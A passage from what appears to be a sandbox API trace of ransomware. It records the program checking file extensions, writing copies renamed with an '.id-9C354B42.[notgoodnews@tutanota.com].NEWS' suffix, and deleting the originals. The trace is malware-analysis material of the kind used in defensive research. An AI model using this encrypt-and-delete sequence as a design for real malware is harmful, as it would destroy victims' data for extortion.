[0066.676] CloseHandle (hObject=0x1f4) returned 1 [0066.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0066.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.677] lstrlenW (lpString=".doc") returned 4 [0066.677] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.677] lstrlenW (lpString=".docx") returned 5 [0066.677] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0066.677] lstrlenW (lpString=".pdf") returned 4 [0066.677] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.677] lstrlenW (lpString=".xls") returned 4 [0066.677] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.677] lstrlenW (lpString=".xlsx") returned 5 [0066.677] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0066.677] lstrlenW (lpString=".ppt") returned 4 [0066.677] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.677] lstrlenW (lpString=".zip") returned 4 [0066.677] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.677] lstrlenW (lpString=".rar") returned 4 [0066.677] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.677] lstrlenW (lpString=".bz2") returned 4 [0066.677] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.677] lstrlenW (lpString=".7z") returned 3 [0066.677] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.677] lstrlenW (lpString=".dbf") returned 4 [0066.678] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.678] lstrlenW (lpString=".1cd") returned 4 [0066.678] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.678] lstrlenW (lpString=".jpg") returned 4 [0066.678] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.678] lstrlenW (lpString=".doc") returned 4 [0066.678] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.678] lstrlenW (lpString=".docx") returned 5 [0066.678] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0066.678] lstrlenW (lpString=".pdf") returned 4 [0066.678] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.678] lstrlenW (lpString=".xls") returned 4 [0066.678] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.678] lstrlenW (lpString=".xlsx") returned 5 [0066.678] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0066.679] lstrlenW (lpString=".ppt") returned 4 [0066.679] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.679] lstrlenW (lpString=".zip") returned 4 [0066.679] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.679] lstrlenW (lpString=".rar") returned 4 [0066.679] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.679] lstrlenW (lpString=".bz2") returned 4 [0066.679] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.679] lstrlenW (lpString=".7z") returned 3 [0066.679] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.679] lstrlenW (lpString=".dbf") returned 4 [0066.679] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.679] lstrlenW (lpString=".1cd") returned 4 [0066.679] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0066.679] lstrlenW (lpString=".jpg") returned 4 [0066.679] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.680] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0066.680] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0066.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.680] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=15063) returned 1 [0066.680] CloseHandle (hObject=0x1f4) returned 1 [0066.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0066.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.681] lstrlenW (lpString=".doc") returned 4 [0066.681] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.681] lstrlenW (lpString=".docx") returned 5 [0066.681] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0066.681] lstrlenW (lpString=".pdf") returned 4 [0066.681] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.681] lstrlenW (lpString=".xls") returned 4 [0066.681] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.681] lstrlenW (lpString=".xlsx") returned 5 [0066.681] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0066.681] lstrlenW (lpString=".ppt") returned 4 [0066.681] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.681] lstrlenW (lpString=".zip") returned 4 [0066.681] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.681] lstrlenW (lpString=".rar") returned 4 [0066.681] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.681] lstrlenW (lpString=".bz2") returned 4 [0066.681] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.682] lstrlenW (lpString=".7z") returned 3 [0066.682] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.682] lstrlenW (lpString=".dbf") returned 4 [0066.682] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.682] lstrlenW (lpString=".1cd") returned 4 [0066.682] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.682] lstrlenW (lpString=".jpg") returned 4 [0066.682] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0066.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.682] lstrlenW (lpString=".doc") returned 4 [0066.682] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.682] lstrlenW (lpString=".docx") returned 5 [0066.682] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0066.682] lstrlenW (lpString=".pdf") returned 4 [0066.682] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.682] lstrlenW (lpString=".xls") returned 4 [0066.682] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.682] lstrlenW (lpString=".xlsx") returned 5 [0066.683] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0066.683] lstrlenW (lpString=".ppt") returned 4 [0066.683] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.683] lstrlenW (lpString=".zip") returned 4 [0066.683] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.683] lstrlenW (lpString=".rar") returned 4 [0066.683] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.683] lstrlenW (lpString=".bz2") returned 4 [0066.683] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.683] lstrlenW (lpString=".7z") returned 3 [0066.683] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.683] lstrlenW (lpString=".dbf") returned 4 [0066.683] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.683] lstrlenW (lpString=".1cd") returned 4 [0066.683] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0066.683] lstrlenW (lpString=".jpg") returned 4 [0066.683] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0066.684] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0066.684] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0066.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0068.626] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1569) returned 1 [0068.626] CloseHandle (hObject=0x1f4) returned 1 [0068.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0068.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0068.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0069.029] GetLastError () returned 0x0 [0069.029] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x621, lpOverlapped=0x0) returned 1 [0069.032] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x630, lpOverlapped=0x0) returned 1 [0069.034] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.034] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0069.034] SetEndOfFile (hFile=0x214) returned 1 [0069.034] CloseHandle (hObject=0x214) returned 1 [0069.034] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.034] SetEndOfFile (hFile=0x1f4) returned 1 [0069.036] CloseHandle (hObject=0x1f4) returned 1 [0069.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.036] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0069.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.037] lstrlenW (lpString=".doc") returned 4 [0069.037] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.037] lstrlenW (lpString=".docx") returned 5 [0069.037] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.037] lstrlenW (lpString=".pdf") returned 4 [0069.037] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.037] lstrlenW (lpString=".xls") returned 4 [0069.037] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.037] lstrlenW (lpString=".xlsx") returned 5 [0069.037] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.037] lstrlenW (lpString=".ppt") returned 4 [0069.037] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.037] lstrlenW (lpString=".zip") returned 4 [0069.037] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.037] lstrlenW (lpString=".rar") returned 4 [0069.037] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.037] lstrlenW (lpString=".bz2") returned 4 [0069.038] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.038] lstrlenW (lpString=".7z") returned 3 [0069.038] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.038] lstrlenW (lpString=".dbf") returned 4 [0069.038] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.038] lstrlenW (lpString=".1cd") returned 4 [0069.038] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.038] lstrlenW (lpString=".jpg") returned 4 [0069.038] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.038] lstrlenW (lpString=".doc") returned 4 [0069.038] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.038] lstrlenW (lpString=".docx") returned 5 [0069.038] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.038] lstrlenW (lpString=".pdf") returned 4 [0069.038] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.038] lstrlenW (lpString=".xls") returned 4 [0069.038] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.039] lstrlenW (lpString=".xlsx") returned 5 [0069.039] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.039] lstrlenW (lpString=".ppt") returned 4 [0069.039] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.039] lstrlenW (lpString=".zip") returned 4 [0069.039] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.039] lstrlenW (lpString=".rar") returned 4 [0069.039] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.039] lstrlenW (lpString=".bz2") returned 4 [0069.039] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.039] lstrlenW (lpString=".7z") returned 3 [0069.039] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.039] lstrlenW (lpString=".dbf") returned 4 [0069.039] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.039] lstrlenW (lpString=".1cd") returned 4 [0069.039] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0069.039] lstrlenW (lpString=".jpg") returned 4 [0069.039] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.040] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0069.040] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0069.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0069.041] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2181) returned 1 [0069.041] CloseHandle (hObject=0x1f4) returned 1 [0069.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0069.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0069.042] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.042] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0069.045] GetLastError () returned 0x0 [0069.045] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x885, lpOverlapped=0x0) returned 1 [0069.047] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x890, lpOverlapped=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.049] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0069.049] SetEndOfFile (hFile=0x214) returned 1 [0069.049] CloseHandle (hObject=0x214) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetEndOfFile (hFile=0x1f4) returned 1 [0069.052] CloseHandle (hObject=0x1f4) returned 1 [0069.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0069.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.053] lstrlenW (lpString=".doc") returned 4 [0069.053] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.053] lstrlenW (lpString=".docx") returned 5 [0069.053] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.053] lstrlenW (lpString=".pdf") returned 4 [0069.053] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.053] lstrlenW (lpString=".xls") returned 4 [0069.053] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.053] lstrlenW (lpString=".xlsx") returned 5 [0069.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.053] lstrlenW (lpString=".ppt") returned 4 [0069.053] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.053] lstrlenW (lpString=".zip") returned 4 [0069.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.053] lstrlenW (lpString=".rar") returned 4 [0069.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.054] lstrlenW (lpString=".bz2") returned 4 [0069.054] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.054] lstrlenW (lpString=".7z") returned 3 [0069.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.054] lstrlenW (lpString=".dbf") returned 4 [0069.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.054] 